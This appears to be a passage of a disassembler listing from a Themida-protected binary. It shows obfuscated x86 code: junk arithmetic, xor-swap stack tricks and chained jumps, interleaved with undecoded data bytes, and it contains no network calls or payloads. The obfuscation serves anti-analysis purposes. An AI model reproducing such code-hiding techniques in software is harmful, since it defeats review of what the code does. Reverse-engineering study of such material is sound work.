		jmp	loc_63EBAB
; ---------------------------------------------------------------------------
		dd 4B951h, 0C6810000h, 0EDF046Eh, 0EE81CE01h, 0EDF046Eh
		dd 4BF5759h, 29000000h,	0D2E95FFEh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_63AF7F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFCDC6h, 0EF198DBBh, 43D3F764h, 152FCB81h
		dd 7CE94E6Dh, 57000063h, 4904CCBFh, 247C012Eh, 2C815F04h
		dd 132DEC24h, 0C4BA5218h, 17B4B50h, 5A042454h, 0E9240401h
		dd 0FFFFE541h, 41EC681h, 0F5012014h, 6824348Bh,	1D69h
		dd 89243489h, 4C681E6h,	0E9000000h, 0FFFFE1E1h
; ---------------------------------------------------------------------------


loc_63C1B0:				; CODE XREF: Themida_:00639096j
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 7FE90000h, 0C0000087h, 0C28006E2h, 67CA8015h, 8001C280h
		dd 0D3005CC2h, 5BD8005Ah, 6448E952h, 248B0000h,	4C48324h
		dd 8B2434FFh, 0C9E92404h, 81FFFFD6h, 0E21C5AC9h, 0C8E95663h
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63C1F7:				; CODE XREF: Themida_:0063A613j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_636D65
; ---------------------------------------------------------------------------
		dw 5659h
		dd 697D9BBEh, 3E6C111h,	0FFDD2FE9h, 78EA81FFh, 5E49A844h
		dd 5C241487h, 0FFB82BE9h, 47EB80FFh, 0C380EB28h, 66596647h
		dd 28EAB050h, 505866C3h, 0E4D056B4h, 288DEC80h,	2434FFE3h
		dd 4C48358h, 0E9C0B60Fh, 0B3DFh
; ---------------------------------------------------------------------------


loc_63C24C:				; CODE XREF: Themida_:00642F67j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_646208
; ---------------------------------------------------------------------------


loc_63C255:				; CODE XREF: Themida_:00637E81j
		mov	[esp], ebx
		push	ebp
		jmp	loc_644DA8
; ---------------------------------------------------------------------------
		dw 0FF5Bh
		dd 505D2434h, 4055854h,	52000000h, 4A042FBAh, 2BEA8127h
		dd 1274A04h, 4875AD0h, 0EE815C24h, 2, 31243433h, 34332434h
		dd 89665C24h, 0F66240Ch, 5166C8B6h, 9307E99Ch, 487FFFFh
		dd 48B5C24h, 444F6824h,	4890000h, 5E08924h, 4, 405h, 24048700h
		dd 6764E9h, 0CEBA5200h,	511C0405h, 9E10E950h, 3C8BFFFFh
		dd 23966824h, 3C890000h, 81E78924h, 4C7h, 1822E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C2E6:				; CODE XREF: Themida_:00639508j
		mov	[esp], edx
		mov	edx, 29BD48ABh
		push	eax
		mov	eax, 4DA90FDAh
		add	edx, eax
		pop	eax
		add	eax, 260D5E8Dh
		jmp	loc_6436D1
; ---------------------------------------------------------------------------


loc_63C301:				; CODE XREF: Themida_:0063E19Dj
		mov	[esp], eax
		mov	eax, 67D860DAh
		and	eax, 133B493Fh
		shr	eax, 5
		dec	eax
		add	eax, 1
		sub	esp, 4
		jmp	loc_6373DC
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 1D91BA24h, 0D7290A6Bh, 81CF015Ah,	6B1D91C7h
		dd 240C8B0Ah, 4C481h, 87E90000h, 0F7000019h, 81DFF7D7h
		dd 3E2576C7h, 0ECEAE91Fh, 0B02DFFFFh, 2D22C652h, 7A3B4C81h
		dd 0E956D801h, 0D7Ch, 0C781D7F7h, 0B5599F99h, 89FB8953h
		dd 3C8B5BD8h, 4C48124h,	21000000h, 0E6B5E9C7h, 1C890000h
		dd 0E9505124h, 0FFFFF4EDh
; ---------------------------------------------------------------------------


loc_63C38C:				; CODE XREF: Themida_:00645359j
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_63F077
; ---------------------------------------------------------------------------
		dw 86BFh
		dd 3103D632h, 0F7475EF7h, 0AFC781DFh, 813E9572h, 7B4AA5EFh
		dd 6E7C106h, 0FFA9F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63C3C1:				; CODE XREF: Themida_:006401BCj
		pop	ebx
		jmp	loc_646734
; ---------------------------------------------------------------------------
		db 81h
		dd 932E28C3h, 0E9CB014Ah, 6330h
; ---------------------------------------------------------------------------


loc_63C3D4:				; CODE XREF: Themida_:0063F8FEj
		add	dword ptr [esp], 164B41C3h
		sub	[esp], edx
		jmp	loc_63D5E7
; ---------------------------------------------------------------------------
		db 81h
		dd 1C2h, 29E28100h, 0F769677Ah,	64CA81D2h, 0E9008D6Ah
		dd 0E864h, 24048B5Bh, 4C481h, 5A660000h, 2881C580h, 0F7E959EAh
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C413:				; CODE XREF: Themida_:0063E420j
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	eax
		mov	eax, 2DAD4A2Ah
		inc	eax
		xor	eax, 45B0120Fh
		sub	eax, 681D5820h
		mov	esi, eax
		jmp	loc_648875
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFDD18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63C44D:				; CODE XREF: Themida_:006424BAj
		sub	edx, 4994144Fh
		add	edx, 18E661DEh
		add	edx, ebx
		sub	edx, 18E661DEh
		push	eax
		jmp	loc_6448C0
; ---------------------------------------------------------------------------


loc_63C467:				; CODE XREF: Themida_:0063B259j
		push	ebp
		mov	ebp, 8000h
		push	ebp
		mov	esi, [esp]
		jmp	loc_63A60D
; ---------------------------------------------------------------------------


loc_63C476:				; CODE XREF: Themida_:00638BBCj
		mov	ecx, esp
		jmp	loc_63F286
; ---------------------------------------------------------------------------
		db 0B4h, 39h, 0B3h
		dd 60E38057h, 0F699CB80h, 0BAF380DBh, 0E938F380h, 0FFFFA9B3h
; ---------------------------------------------------------------------------


loc_63C494:				; CODE XREF: Themida_:00648D68j
		push	4384h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_63BF4D
; ---------------------------------------------------------------------------


loc_63C4A9:				; CODE XREF: Themida_:006374B5j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, 76195909h
		add	eax, 1E8D620Fh
		neg	eax
		add	eax, 94C6C0D8h
		push	40B8h
		mov	[esp], eax
		pop	ebx
		mov	eax, [esp]
		jmp	loc_63CDB9
; ---------------------------------------------------------------------------


loc_63C4D2:				; CODE XREF: Themida_:0063E1F9j
		xor	edx, 53086E67h
		or	ebp, edx
		pop	edx
		push	edx
		jmp	loc_64230F
; ---------------------------------------------------------------------------
		db 2 dup(43h), 81h
		dd 2C06EDF3h, 0BC24E93Bh, 0E958FFFFh, 969Bh, 53240C89h
		dd 0B25258B7h, 0E9D70055h, 0FFFFA716h, 96E9D800h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_63C50B:				; CODE XREF: Themida_:00641BD6j
		pop	ecx
		add	esp, 4
		add	eax, 4
		jmp	loc_635AF3
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 8F580424h, 248B2404h, 0C896624h, 0B60F6624h,	0C038E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C532:				; CODE XREF: Themida_:0064887Cj
		add	edx, esi
		sub	edx, 299413B3h
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_64A2D6
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0CB0053B1h, 6DB65259h, 6682F680h, 33CEE953h,	0E8010000h
		dd 468535Dh, 8B000000h,	55E9241Ch, 5A000078h, 0FF908DE9h
		dd 3A12BFFFh, 8E936D3h,	290000C1h, 0DC42E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C58A:				; CODE XREF: Themida_:00649092j
		neg	edi
		dec	edi
		xor	edi, 0C49D97DBh
		mov	esi, edi
		pop	edi
		add	ebx, esi
		jmp	loc_63CA91
; ---------------------------------------------------------------------------


loc_63C59D:				; CODE XREF: Themida_:0063867Fj
		pop	ebx
		sub	esi, 0C0926D9h
		jmp	loc_63E0E2
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C281E289h, 4, 0E904C283h, 54A3h, 31241C33h,	0B3E9241Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63C5C7:				; CODE XREF: Themida_:0063713Bj
		mov	edx, 340718B6h
		sub	edx, 340718B2h
		add	edi, edx
		jmp	loc_6405B7
; ---------------------------------------------------------------------------


loc_63C5D9:				; CODE XREF: Themida_:00649300j
		mov	edi, 4C653190h
		xor	edi, 0ABE28C4Ah
		sub	eax, 50B772BCh
		sub	eax, edi
		add	eax, 50B772BCh
		pop	edi
		mov	esi, eax
		pop	eax
		and	ecx, esi
		pop	esi
		jmp	loc_6427A9
; ---------------------------------------------------------------------------


loc_63C5FC:				; CODE XREF: Themida_:00649EC9j
		push	ebx
		mov	ebx, 0B4D805A5h
		jmp	loc_63E5DC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0B4ABE904h, 68660000h, 89662334h, 5A66243Ch
		dd 0F7665F66h, 0FA8766D7h, 636FE9h, 0C1805A00h,	0F65166FFh
		dd 59662414h, 80FFE980h, 5266F0C9h, 4934E9h
		db 0
; ---------------------------------------------------------------------------


loc_63C641:				; CODE XREF: Themida_:00647FC1j
		mov	ebx, [esp]
		jmp	loc_643FA4
; ---------------------------------------------------------------------------


loc_63C649:				; CODE XREF: Themida_:00640D8Bj
		xor	esi, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		dd 0EB80C8B3h, 56EB80D4h, 0FFB240E9h, 4C481FFh,	81000000h
		dd 0B64BA5CDh, 0CF97E92Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C676:				; CODE XREF: Themida_:00642437j
		not	dword ptr [esp]
		pop	ebp
		dec	ebp
		push	esi
		mov	esi, 7C545159h
		add	ebp, esi
		pop	esi
		add	ebp, 0E16A4232h
		or	ebp, 4021235Ah
		shl	ebp, 5
		neg	ebp
		add	ebp, 320DD2C2h
		jmp	loc_64936F
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 16AC22B8h, 7CABE981h, 0E9C16901h, 2EB85005h
		dd 29056D55h, 0CAE958C1h, 890000B4h, 0EB34E9E0h, 8356FFFFh
		dd 48904ECh, 51E08924h,	0B770A6B9h, 81D9F708h, 0B770AAC1h
		dd 59C80108h, 8704E883h, 895C2404h, 55502414h, 51419BDh
		dd 4EC8122h, 89000000h,	11BD242Ch, 0E969C026h, 82B3h
; ---------------------------------------------------------------------------


loc_63C704:				; CODE XREF: Themida_:0063DA0Aj
		add	eax, 51A6ED58h
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_64A3FC
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 6Ch
		dd 517C9950h, 0F7242C87h, 242C87D5h, 2467E9h, 50A0B700h
		dd 0AD3EE952h, 2B9FFFFh, 5000000h, 3B017876h, 762DC801h
		dd 8B3B0178h, 45E9240Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63C74F:				; CODE XREF: Themida_:006414F0j
		push	ecx
		mov	ch, 74h
		xor	ch, 70h
		xor	ch, 7Ch
		add	ch, 78h
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 53h
		xor	ch, bh
		jmp	loc_637F91
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C5815Dh, 51000000h,	0A57BD2B9h, 30C18109h, 81F65A84h
		dd 0DA486BC5h, 0A58DE945h, 0C0B80000h, 0F7687954h, 4EC81D8h
		dd 89000000h, 96E92414h, 5700001Bh, 672433BFh, 31F5E913h
		dd 0B8660000h, 31664288h, 38D3E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C7B6:				; CODE XREF: Themida_:00648906j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_636A14
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0BBh
		dd 0E9317F70h, 0AD76h, 2DC8015Eh, 10CB7D05h, 0BC13F005h
		dd 2F83E937h, 87660000h, 0EC83243Ch, 241C8904h,	0E9505B54h
		dd 0DEE6h
; ---------------------------------------------------------------------------


loc_63C7FC:				; CODE XREF: Themida_:00642B62j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_64A174
; ---------------------------------------------------------------------------
		dw 5356h
		dd 2E030468h, 0F3815B38h, 0D9E0B53h, 0B50BE9h, 1C6F0900h
		dd 0FFF285E9h, 1C895CFFh, 3CB76824h, 24890000h,	24048124h
		dd 4, 4C3815Bh,	50000000h, 0AD16F9B8h, 89BF576Eh, 4707A617h
		dd 242E781h, 0F74724C0h, 5EF81D7h, 298CD2E7h, 57505FF8h
		dd 5433E9h
		db 0
; ---------------------------------------------------------------------------


loc_63C865:				; CODE XREF: Themida_:00641ABFj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 63E937F2h
		shr	ecx, 7
		add	ecx, 0B41546Ah
		add	esi, ecx
		jmp	loc_647B18
; ---------------------------------------------------------------------------


loc_63C87E:				; CODE XREF: Themida_:006439C1j
		push	edx
		jmp	loc_649FF4
; ---------------------------------------------------------------------------
		dd 66E9815Bh, 0E90E1B68h, 0AF21h, 0E9240C89h, 4D0Ch
; ---------------------------------------------------------------------------


loc_63C898:				; CODE XREF: Themida_:00639C54j
		pop	esp
		push	esi
		mov	esi, 20D30E8Fh
		xor	esi, 21B11E2Eh
		xchg	ebx, esi
		inc	ebx
		jmp	loc_638400
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 7Ah
		dd 810F7D03h, 0A31BD6E2h, 54F28129h, 94A1804h, 0FB2D5AD0h
		dd 195A4B4h, 61E958C6h,	660000DDh, 0C281665Ah, 665F7EFFh
		dd 0E7BE6656h, 7401666Bh, 5E660424h, 24540166h,	0E9506602h
		dd 0FFFFEE39h
; ---------------------------------------------------------------------------


loc_63C8F0:				; CODE XREF: Themida_:00642647j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		jmp	loc_6495F8
; ---------------------------------------------------------------------------
aZsvd		db '+/Zvd',0
		align 2
		dw 0CF81h
		dd 326D58AEh, 0FFF7814Fh, 89727F7Bh, 8DE95FF9h,	0FEFFFFDAh
		dd 0F6D6F6CEh, 6E8E9DEh, 58040000h, 0D828072Ch,	0B5510704h
		dd 8EDC04Bh, 0ED80D5F6h, 97D4E978h, 0C681FFFFh,	19D55185h
		dd 0A2EED81h, 0F5296890h, 0FFAF20E9h, 3B951FFh,	87448636h
		dd 0F98747F9h, 0F181E1D1h, 890C6C0Ch, 0C456E9h,	0E3C15900h
		dd 0DEF38103h, 0E904351Ch, 0FFFFDE1Eh, 81E68956h, 4C6h
		dd 13E6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C98A:				; CODE XREF: Themida_:00647516j
		mov	eax, esp
		jmp	loc_6375EA
; ---------------------------------------------------------------------------
		db 0B0h, 9, 0C0h
		dd 0D8F604E0h, 75247104h, 0BB9E9h, 0E9270400h, 6846h, 2BAh
		dd 5AD00100h, 8B240487h, 0DAE92424h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63C9BB:				; CODE XREF: Themida_:006396C0j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		push	ecx
		jmp	loc_6445A0
; ---------------------------------------------------------------------------
		dd 8804C483h, 240C8B0Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_643C50
; ---------------------------------------------------------------------------


loc_63C9E2:				; CODE XREF: Themida_:00643ECEj
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	64Eh
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		mov	eax, [esp]
		jmp	loc_648744
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 0FFD229E9h, 81E589FFh, 4C5h,	4C58100h, 68000000h, 6FDDh
		dd 0FF242C89h, 5D042474h, 5C24048Fh, 0E9FF381h,	815368CCh
		dd 57AE2434h, 3558517Ah, 517A57AEh, 0E9241C8Bh,	7914h
		dd 0CCE1E952h, 0F589FFFFh, 16D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_63CA55:				; CODE XREF: Themida_:0063C043j
		sub	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 136C1695h
		jmp	loc_6431C7
; ---------------------------------------------------------------------------
		db 88h
		dd 8B018754h, 4AE92414h, 2DFFFF97h, 4, 0E9240487h, 0D6F2h
		dd 0E904C483h, 74BAh, 0EEC05B58h, 52506603h, 0AF20E9h
		db 0
; ---------------------------------------------------------------------------


loc_63CA91:				; CODE XREF: Themida_:0063C598j
		mov	esi, [esp]
		jmp	loc_63E6A6
; ---------------------------------------------------------------------------


loc_63CA99:				; CODE XREF: Themida_:006385BEj
		mov	edx, 45434C7Eh
		add	[esp+4], edx
		pop	edx
		pop	edi
		sub	edi, 45434C7Eh
		push	edx
		push	edi
		jmp	loc_6368DF
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 6624248Bh, 9C240CFFh, 0FF8AE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63CAC1:				; CODE XREF: Themida_:0063A7FAj
		xchg	ebx, [esp]
		jmp	loc_645A74
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 57h
		dd 0FFC37FE9h, 81D7F7FFh, 463B8FF7h, 0D5EDE976h, 0E2890000h
		dd 3E2CBB53h, 0F7433DA4h, 7E3C1DBh, 8105EBC1h, 90F8B8C3h
		dd 0E9DA01FEh, 30C9h, 2474FF50h, 48F5804h, 24248B24h, 8C32E9h
		dd 240C8900h, 42CCE9h, 48B6600h, 0D0A8E924h, 0EE800000h
		dd 0FFF5889Dh, 0E95A2434h, 0FFFFB763h, 515EF201h, 8421FFB9h
		dd 0FBF18174h, 0E9748421h, 7A37h, 8704EE83h, 0E95C2434h
		dd 0CBC5h, 0E981D9F7h, 789E4334h, 5EE98141h, 89293209h
		dd 0F70159CEh, 243C875Eh, 4C4815Ch, 0E9000000h,	0A627h
		dd 0E9C3305Ch, 951Eh
; ---------------------------------------------------------------------------


loc_63CB78:				; CODE XREF: Themida_:006422C4j
		push	6320h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_646B3B
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 0BFh
		dd 160D453Bh, 4F04E7C1h, 0FF98FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63CB99:				; CODE XREF: Themida_:00648082j
		mov	ebp, 4B58011Eh
		sub	ebp, 0F6E29BBh
		push	ecx
		push	esi
		push	ebp
		push	11B537A5h
		jmp	loc_63D1CB
; ---------------------------------------------------------------------------


loc_63CBB1:				; CODE XREF: Themida_:0063F16Bj
		push	ebp
		push	ebx
		mov	ebx, 72DC1EC1h
		inc	ebx
		jmp	loc_6432DF
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 28C19FFh, 0BD3C281h,	0D30190F3h, 0D5EB815Ah,	8324C776h
		dd 0A2E904ECh, 89FFFFE4h, 4C581E5h, 83000000h, 2C3304C5h
		dd 8C6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63CBEE:				; CODE XREF: Themida_:006407DCj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_641E9F
; ---------------------------------------------------------------------------
		dd 8007E3C0h, 0E38047C3h, 18EB8008h, 3B1B68h, 240C8900h
		dd 0A7B9E9h, 0F6A2B100h, 0E9D1F6D9h, 0FFFFDE41h, 2474FF56h
		dd 2434FF04h, 4C4835Eh,	5C24048Fh, 24040966h, 896BE99Ch
		dd 0D800FFFFh, 5A04BC2Ch, 5B2434FFh, 55E68956h,	468h, 0B6E95D00h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63CC53:				; CODE XREF: Themida_:00649570j
		push	dword ptr [esp]
		jmp	loc_636D16
; ---------------------------------------------------------------------------


loc_63CC5B:				; CODE XREF: Themida_:00648389j
		push	196Eh
		mov	[esp], ebp
		mov	ebp, 2C770E2Ch
		push	ecx
		mov	ecx, esp
		jmp	loc_63E0A5
; ---------------------------------------------------------------------------
		dd 3B1DED81h, 0C58124ABh, 7C0B1BEDh, 0FF8CFBE9h, 65DE05FFh
		dd 0B9515613h, 75C61EA8h, 18CE981h, 0D9F70778h,	3089BE56h
		dd 26E90F5Dh, 0F7000080h, 80C781D7h, 894C5F39h,	599EE9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63CCAE:				; CODE XREF: Themida_:0064508Cj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_649755
; ---------------------------------------------------------------------------


loc_63CCC2:				; CODE XREF: Themida_:006396CEj
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_63DF4A
; ---------------------------------------------------------------------------
aWsk		db 'WK',0
		align 4
		dd 7306C681h, 97E91791h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63CCDF:				; CODE XREF: Themida_:0063DF45j
		mov	eax, 0EC4519F0h
		add	eax, esi
		pop	esi
		xor	edi, eax
		pop	eax
		shr	edi, 6
		neg	edi
		push	ecx
		mov	ecx, esp
		jmp	loc_6474DD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0AC7DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63CD02:				; CODE XREF: Themida_:0064922Bj
		xor	ebp, 86D3C83Ch
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_6396BB
; ---------------------------------------------------------------------------
		db 83h,	0EBh, 4
		dd 0E9241C87h, 34Ah, 5FBD5550h,	0B80ED007h, 0ED0075Bh
		dd 2C8BE831h, 4C48124h,	0E9000000h, 0FFFFC8E8h
; ---------------------------------------------------------------------------


loc_63CD3C:				; CODE XREF: Themida_:0063E5F5j
		shl	edx, 1
		push	966h
		mov	[esp], ebx
		push	edi
		push	5442538Ah
		jmp	loc_636EFB
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 9
		dd 0E927C144h, 0FFFFEA5Bh
; ---------------------------------------------------------------------------


loc_63CD5C:				; CODE XREF: Themida_:006391F5j
		push	esi
		jmp	loc_64908B
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 7C7E1AABh, 8102EBC1h, 0BC043AC3h, 0A59BE92Fh, 0F3800000h
		dd 8E3C073h, 809FB450h,	0C4FEDCCCh, 875FE9h, 24348700h
		dd 0E924248Bh, 0CF4h, 5389C281h, 0BB532483h, 72D842B4h
		dd 660DCB81h, 0F7E93E4Bh, 3100001Dh, 0ECE95EF3h, 5F00003Dh
		dd 2FD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_63CDB9:				; CODE XREF: Themida_:0063C4CDj
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_645379
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 34870000h, 24248B24h, 1295E9h
		db 0
; ---------------------------------------------------------------------------


loc_63CDD9:				; CODE XREF: Themida_:0063E5EEj
		jmp	loc_6355A5
; ---------------------------------------------------------------------------
		dw 0F068h
		dd 8900000Fh, 57552424h, 4BFh, 299CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63CDF2:				; CODE XREF: Themida_:0063E9DFj
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_64635A
; ---------------------------------------------------------------------------
		dd offset dword_49005C+19C0Ch
		dd 242C8900h, 6CD7E9h, 4294B900h, 0F3E93F43h, 68FFFFC4h
		dd 2A79h, 0FFC933E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63CE21:				; CODE XREF: Themida_:0063DCB7j
		push	ebx
		push	eax
		mov	eax, 66000617h
		shr	eax, 8
		not	eax
		sub	eax, 0FFFFFFFFh
		xor	eax, 0F27DF089h
		mov	ebx, eax
		jmp	loc_6380C9
; ---------------------------------------------------------------------------


loc_63CE3E:				; CODE XREF: Themida_:0063B248j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_6371E0
; ---------------------------------------------------------------------------
		db 53h,	88h, 0CBh
		dd 595BDA88h, 0FFDEEBE9h, 241489FFh, 24148B54h,	32E668h
		dd 24148900h, 24148B54h, 8104C483h, 4C2h, 0D9E95100h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63CE87:				; CODE XREF: Themida_:006444F5j
		xor	ebx, eax
		pop	eax
		sub	ebx, 729D1DB5h
		sub	ebx, 0FE7805FCh
		add	ebx, 0FFFFFFFFh
		push	edi
		jmp	loc_64940E
; ---------------------------------------------------------------------------
		dw 5566h
		dd 7EFF6866h, 242C8B66h, 6602C483h, 2246C29h, 14E95D66h
		dd 5AFFFFFAh, 0FFE39DE9h, 81435BFFh, 0FC0D6CEBh, 0CEF8E9E5h
		dd 0C6830000h, 33C681FFh, 2982E379h, 24348BF0h,	2D04C483h
		dd 6A1E12F8h, 0F805D001h, 576A1E12h, 2F6609BFh,	5FF8010Eh
		dd 5A2434FFh, 4C481h, 4330000h,	24043124h, 8B240433h, 9E682424h
		dd 8900005Bh, 8EE92404h, 83FFFF86h, 67E904C6h, 81FFFF96h
		dd 0FB4584C6h, 34875978h, 53525C24h, 2046E9h, 8FE95800h
		dd 0F7000039h, 60F781D7h, 29524DDEh, 0C2015FFAh, 7F8AC281h
		dd 0EC83674Ah, 240C8904h, 4EC81h, 80E90000h, 0F7FFFFCDh
		dd 3DC181D1h, 891B2B3Fh, 9773E9C8h, 1433FFFFh, 0A133E924h
		dd 815FFFFFh, 4C1h, 240C8700h, 0E089505Ch, 405h, 4E88300h
		dd 5C240487h, 4C2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_63CF91:				; CODE XREF: Themida_:006438FBj
		sub	esp, 4
		jmp	loc_63AE5D
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF8601h, 0A736F781h, 4AE97F65h, 68FFFFCDh
		dd 1BC8145Ch, 0D6E9475Fh
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63CFBB:				; CODE XREF: Themida_:00644E2Cj
		push	6D395B33h
		jmp	loc_638BF6
; ---------------------------------------------------------------------------


loc_63CFC5:				; CODE XREF: Themida_:00641E1Ej
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		xor	[esp], edi
		jmp	loc_648985
; ---------------------------------------------------------------------------
		dw 0FB29h
		dd 2487C381h, 0C38111CEh, 1CE51493h, 80CB815Fh,	0F7225B56h
		dd 41A8E9DBh, 0D8290000h, 109EE9h, 24048B00h, 81E28952h
		dd 4C2h, 95FAE900h, 0EE800000h,	8BF32896h, 51E92414h, 87FFFFEEh
		dd 7BE9243Ch, 29000013h, 0AAC7E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63D02E:				; CODE XREF: Themida_:00639E6Dj
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_64719C
; ---------------------------------------------------------------------------


loc_63D04C:				; CODE XREF: Themida_:00649A5Bj
		pop	edi
		shl	ecx, 6
		dec	ecx
		jmp	loc_644E9C
; ---------------------------------------------------------------------------
		dw 685Fh
		dd 2217h, 50242C89h, 391468h, 0BDACE900h, 0E95CFFFFh, 0FFFFF074h
		dd 9CC88566h, 0FF852CE9h, 81E689FFh, 4C6h, 4C68300h, 5C243487h
		dd 8324048Bh, 0E98304C4h, 240C3304h, 33240C31h,	895C240Ch
		dd 2E92404h, 81FFFF85h,	5DF146E9h, 0E9CB296Bh, 0B6Dh, 0EC81B42Ch
		dd 2, 241C8966h, 0F8308EB7h, 0C1285B66h, 36686658h, 14896649h
		dd 0D551E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63D0D2:				; CODE XREF: Themida_:0063B23Dj
		pop	eax
		jmp	loc_636675
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFEFD4h, 0E17A04BEh, 2889E97Eh, 0C3810000h
		dd 4, 9D60E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63D0F6:				; CODE XREF: Themida_:00636A0Fj
					; Themida_:0064A9F8j
		push	ebx
		push	edi
		mov	edi, 3D532D2Ah
		sub	dword ptr [esp+4], 1A4E3278h
		push	ecx
		mov	ecx, 222F5778h
		add	dword ptr [esp+8], 4F936F8Ah
		jmp	loc_63BE94
; ---------------------------------------------------------------------------
		dd 0C8BCB21h, 4C48124h,	0D1000000h, 0B8AAE9E3h,	0C581FFFFh
